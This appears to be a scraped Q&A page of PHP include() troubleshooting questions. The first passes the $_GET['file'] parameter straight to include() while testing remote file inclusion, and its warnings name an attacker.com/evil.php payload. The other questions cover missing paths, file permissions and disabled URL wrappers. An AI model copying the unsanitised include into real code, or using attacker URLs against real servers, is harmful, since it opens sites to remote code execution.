I have an issue. I was testing how remote file inclusion injection and tried to include the file from URL query string using PHP. But here I am getting some warning messages. I am explaining my code below.
<?php
$file = $_GET['file'];
include($file);
?>
I am getting the following messages.
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3
Here I am calling remote file like this http://localhost/test/remote.php?file=http://kooleedback.com/about.php. Here I need to know how it can be successfully included and also how it can be prevented.
Your server has the allow_url_include option disabled. This means you can only access local files with include(), not external URLs.
In general it doesn't make sense to use include() with a remote .php URL. When you request a .php file from a server, it doesn't return the source code, it executes the script and returns the output. But include() needs to get PHP code, which it executes as if it were in the including script.
If you want to get that remote data you should use file_get_contents($file), not include($file).
Related
i want to draw a piechart in php using mysql. i am getting error only for below code.
<?php include "libchart/classes/libchart.php"; ?>
during run i am getting below error. anyone please help me.
Warning: include(libchart/classes/libchart.php) [function.include]:
failed to open stream: No such file or directory in
C:\xampp\htdocs\g2.php on line 2
Warning: include() [function.include]: Failed opening
'libchart/classes/libchart.php' for inclusion
(include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\g2.php on line
2
It means the file C:\xampp\htdocs\libchart\classes\libchart.php does not exist
it seems you giving wrong path for file. I think you should tell your directory path too here i.e where is the file in which you including the file and the file path which you want to include.
I am trying to visualize a file file.txt via php. It is present in the same folder as the php code. this file is outcome of a perl program 1.pl
I am using the following code:
exec("perl C:/inetpub/wwwroot/1.pl arg1");
include("ctrlG.txt");
I have fast-cgi module activated on my server, which works fine otherwise.
Both the above are not executing.
It returns following Error:
PHP Warning:
include() [<a href='function.include'>function.include</a>]: Unable to access ctrlG.txt in C:\inetpub\wwwroot\upload_file.php on line ##.
PHP Warning:
include(ctrlG.txt) [<a href='function.include'>function.include</a>]: failed to open stream: Permission denied in C:\inetpub\wwwroot\upload_file.php on line ##.
PHP Warning:
include() [<a href='function.include'>function.include</a>]: Failed opening 'ctrlG.txt' for inclusion (include_path='.;C:\php\pear') in C:\inetpub\wwwroot\upload_file.php on line ##.
Please help to correct the code or any other problem.
OR
better methods to execute perl and visualize text files in browser using php.
Firstly, check the file you're looking for exists:
$file = 'ctrlG.txt';
if(!file_exists($file)) die("File '{$file}' does not exist");
Secondly, check if it is readable:
if(!is_readable($file)) die("File '{$file}' is not readable");
The most likely scenario is that the file exists and does not have readable permissions set so that apache (or whatever user your web server is running as) can read it.
Bear in mind that if you first ran this script through CLI (command-line interface) then the file generated will probably be owned by the user who ran the script - so apache may not be able to read this file for security reasons.
In Linux, you can change the file group and permissions to be readable by the apache user like so:
chgrp apache ctrlG.txt
chmod g+r ctrlG.txt
I am developing opencart application , i installed in on localhost ,and customize it but now i am trying to upload it to server but it get error
Warning: require_once() [function.require-once]: http:// wrapper is
disabled in the server configuration by allow_url_include=0 in
/home/content/29/9716229/html/johndhan/telhemboradz/index.php on line
17
Warning:
require_once(http://249development.us/johndhan/telhemboradz/system/startup.php)
[function.require-once]: failed to open stream: no suitable wrapper
could be found in
/home/content/29/9716229/html/johndhan/telhemboradz/index.php on line
17
Fatal error: require_once() [function.require]: Failed opening
required
'http://249development.us/johndhan/telhemboradz/system/startup.php'
(include_path='.:/usr/local/php5_3/lib/php') in
/home/content/29/9716229/html/johndhan/telhemboradz/index.php on line
17
You need to use paths for your files not HTTP url's. Open your config.php file and admin/config.php file and change
http://249development.us/
to
/home/content/29/9716229/html/
for all of the paths except for those that start HTTP_ or HTTPS_ in the define's
It seems that you are trying to include a remote file via HTTP. If this is intentionally the case, then you need to enable the http:// wrapper - as suggested by the warning you are getting. If this is not the case, then consider removing the URL http://249development.us/ from the require_once statements.
Okay.
So on line 37 on this script http://ideone.com/grapQ the include_once command is basically just being ignored and the content I am trying to show is not showing up at all, not even a error message.
I tried enabled error reporting and not one a single error is being shown.
Also i tried using Echo and the same issue persist.
Does anyone have any ideas on why its being ignored and not even a error message is being shown? More than luck just its just something basic!
You are missing a semi-colon on the end of that include statement:
include_once('http://outside-resources.ultimatesphider.com/us-resources/2.0.1/2.0.1announce.php');
Additionally, when I tested it (just that line) here on my local machine, I got the following errors:
Warning: include_once(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /var/www/test.php on line 5
Warning: include_once(http://outside-resources.ultimatesphider.com/us-resources/2.0.1/2.0.1announce.php): failed to open stream: no suitable wrapper could be found in /var/www/test.php on line 5
Warning: include_once(): Failed opening 'http://outside-resources.ultimatesphider.com/us-resources/2.0.1/2.0.1announce.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/test.php on line 5
Deepak's answer has more information on allowing external files that probably applies to your question.
You cannot include remote files as it is in PHP 5.2.0 and later versions. If you want to use remote URL allow_url_include must be enabled for these. Refer Link
follow the link
http://php.net/manual/en/function.include-once.php
I have following code:
$fh=fopen($api,"r");
$theData = fgets($fh);
echo $theData;
This throws the error as :
Warning: fopen(http://xxxxxx.xxxxxxxx.com:8080) [function.fopen]: failed to open stream: Connection refused in /home/xxxx/public_html/xxxx/index.php on line 18
Warning: fgets(): supplied argument is not a valid stream resource in /home/xxxx/public_html/xxxx/index.php on line 19
What is the solution for this?
Your file did not open as you intended. Check the value of $api and be sure the file name is in the current working directory, or the entire path to the file.
Since it is a remote system on :8080, be sure the port is open to the public. This is typically a value reserved for localhost (ie: the webserver is only a webserver to that computer, no one else's) and wouldn't be accessible to you. If the url you are opening is the same computer you are using, navigate to the file using local folders instead.